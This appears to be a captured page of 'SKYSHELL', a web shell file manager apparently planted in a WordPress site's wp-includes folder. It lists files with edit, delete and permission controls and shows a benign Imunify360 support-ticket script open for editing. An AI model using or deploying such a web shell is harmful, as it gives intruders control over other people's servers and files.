📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
terracebizon
/
public_html
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
12934.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: analyst_cleanup.py
import warnings from logging import getLogger from datetime import datetime, timedelta from defence360agent.rpc_tools import ValidationError from defence360agent.rpc_tools.lookup import RootEndpoints, bind import defence360agent.subsys.panels.hosting_panel as hp from defence360agent.utils.sshutil import ( get_ssh_port, check_ssh_connection, install_pub_key, ) from defence360agent.model.analyst_cleanup import AnalystCleanupRequest from defence360agent.api.server.analyst_cleanup import ( NO_AGENT_TOKEN, AnalystCleanupAPI, ) logger = getLogger(__name__) PREPARE_SERVER_GUIDE = "https://cloudlinux.zendesk.com/hc/en-us/articles/6245743410460-How-to-authenticate-your-server-for-Support-Team-and-use-the-SSH-access-form" ZENDESK_REGISTRATION_URL = ( "https://cloudlinux.zendesk.com/auth/v2/login/registration" ) NOT_ALLOWLISTED_MESSAGE = ( "You are not authorized to submit Analyst Cleanup requests." " Contact sales@cloudlinux.com to get access" ) _NOT_AUTHENTICATED_MESSAGE = ( "This server could not authenticate with the Imunify360 API." " Make sure the agent is registered and its license is active." ) _UNKNOWN_RESPONSE_MESSAGE = ( "Our support system returned an unexpected response." " Check your email for a ticket confirmation before retrying." ) _TICKET_ERROR_MESSAGES = { "not_allowlisted": NOT_ALLOWLISTED_MESSAGE, "not_authorized": ( "This server is not linked to a CloudLinux customer account." " Make sure its license is active and try again." ), NO_AGENT_TOKEN: _NOT_AUTHENTICATED_MESSAGE, "zendesk_unreachable": ( "Our support system is temporarily unreachable." " Please try again in a few minutes." ), "zendesk_upstream_error": ( "Our support system rejected the request." " Please try again in a few minutes." ), "zendesk_suspended": ( "Our support system did not accept the request." " Please contact CloudLinux support directly." ), "zendesk_unknown_response": _UNKNOWN_RESPONSE_MESSAGE, } _TICKET_ERROR_MESSAGES_BY_STATUS = { 200: _UNKNOWN_RESPONSE_MESSAGE, 400: ( "The cleanup request was rejected as invalid." " Try again with a shorter message." ), 401: _NOT_AUTHENTICATED_MESSAGE, } _TICKET_ERROR_DEFAULT = "Failed to create support ticket" # Conditions the admin can act on themselves; not an agent fault, so they # must not reach the error reporter. _CLIENT_STATE_CODES = frozenset( {"not_allowlisted", "not_authorized", NO_AGENT_TOKEN} ) def _ticket_error_message(status, body): return _TICKET_ERROR_MESSAGES.get( body.get("message"), _TICKET_ERROR_MESSAGES_BY_STATUS.get(status, _TICKET_ERROR_DEFAULT), ) def _is_expected_client_state(status, body): if body.get("message") in _CLIENT_STATE_CODES: return True return status is not None and 400 <= status < 500 class AnalystCleanupEndpoints(RootEndpoints): async def _create_zendesk_ticket( self, email, subject, full_description, ) -> (str, str): """ Creates a Zendesk ticket and return link and id of the ticket On any error raises ValidationError, which would be added to RPC answer """ status, body = await AnalystCleanupAPI.create_ticket( email, subject, full_description, ) ticket = body.get("ticket") or {} if status == 200 and ticket.get("url") and ticket.get("id"): logger.info(f"Created ticket on url {ticket['url']}") return ticket["url"], str(ticket["id"]) log = ( logger.warning if _is_expected_client_state(status, body) else logger.error ) log("Failed to create support ticket: status=%s body=%s", status, body) raise ValidationError(_ticket_error_message(status, body)) @bind("analyst-cleanup", "request") async def request_cleanup(self, email, username, message): """Handle analyst cleanup request""" # Check active tickets if active_ticket := AnalystCleanupRequest.get_active_request_link( username ): raise ValidationError( "You already have an active request for cleaning this user." " If you have additional information, you may follow" f" the link and provide new data here: {active_ticket}" ) # Check if cleanup is allowed if not (await AnalystCleanupAPI.check_cleanup_allowed()): raise ValidationError(NOT_ALLOWLISTED_MESSAGE) email_status = await AnalystCleanupAPI.check_registered(email) # Check if email is registered if not email_status.get("result", False): raise ValidationError( f"{email_status.get('message', '')} Couldn't register" " your email in our Zendesk system. You can make it manually" f" by following the link {ZENDESK_REGISTRATION_URL} and then" " try sending the request again." ) if email_status.get("is_new", False): warnings.warn( "We’ve set up a Zendesk account for you! To complete your" " registration, check your email and click the “Reset" " Password” button." ) # Install public key key_installed = await install_pub_key(username) # Get SSH port and check connection ssh_port = await get_ssh_port() connection_ok = await check_ssh_connection(ssh_port) # Prepare ticket subject and description subject = "Analyst Cleanup Request" server_access = ( f"{hp.HostingPanel().get_server_ip()}:{ssh_port}/{username}" ) full_description = ( f"Username: {username}\n" f"Server Access: {server_access}\n\n" f"Customer Message:\n{message}\n\n" ) if not key_installed: warnings.warn("Support SSH public key is not installed", Warning) full_description += ( "\n\nWARNING: Not able to install analyst's public key\n" " Please make it manually by reffering to" f" {PREPARE_SERVER_GUIDE}\n and provide credentials " "to zendesk ticket" ) elif not connection_ok: warnings.warn("SSH connection test failed", Warning) full_description += ( "\n\nWARNING: SSH connection test failed. Please verify SSH" " access and refer to the access request form." ) # Create Zendesk ticket # In a case of no url|id # ValidationError is raised from _create_zendesk_ticket ticket_url, ticket_id = await self._create_zendesk_ticket( email, subject, full_description, ) # Store request in database AnalystCleanupRequest.create_request( username=username, zendesk_id=ticket_id, ticket_link=ticket_url, ) return {"items": {"ticket_url": ticket_url}} @bind("analyst-cleanup", "get-requests") async def request_status(self, username=None, limit=50, offset=0): """ Get status of analyst cleanup requests for all or a specific user Completed tickets will only be visible for 2 weeks after their last update """ # Get user's requests using the get_user_requests method from the model # This will return the most recent requests first (ordered by created_at desc) if username is None: requests = AnalystCleanupRequest.get_all_requests(limit, offset) else: requests = AnalystCleanupRequest.get_user_requests( username, limit, offset ) # If no requests found, return appropriate response if not requests or len(requests) == 0: return [] # Calculate the cutoff date (2 weeks ago) two_weeks_ago = datetime.utcnow() - timedelta(weeks=2) logger.info(f"Showing requests since {two_weeks_ago}") # Filter requests: show all except completed tickets older than 2 weeks filtered_requests = [ { "username": req.username, "ticket_url": req.ticket_link, "status": req.status, "created_at": str(datetime.timestamp(req.created_at)), "last_update": str(datetime.timestamp(req.last_updated)), "zendesk_id": req.zendesk_id, } for req in requests if req.status != "completed" or req.last_updated > two_weeks_ago ] logger.info(f"Got requests: {filtered_requests}") # Return the request details return filtered_requests @bind("analyst-cleanup", "is-allowed") async def is_allowed(self): is_allowed = await AnalystCleanupAPI.check_cleanup_allowed() return {"items": {"is_allowed": is_allowed}}
Save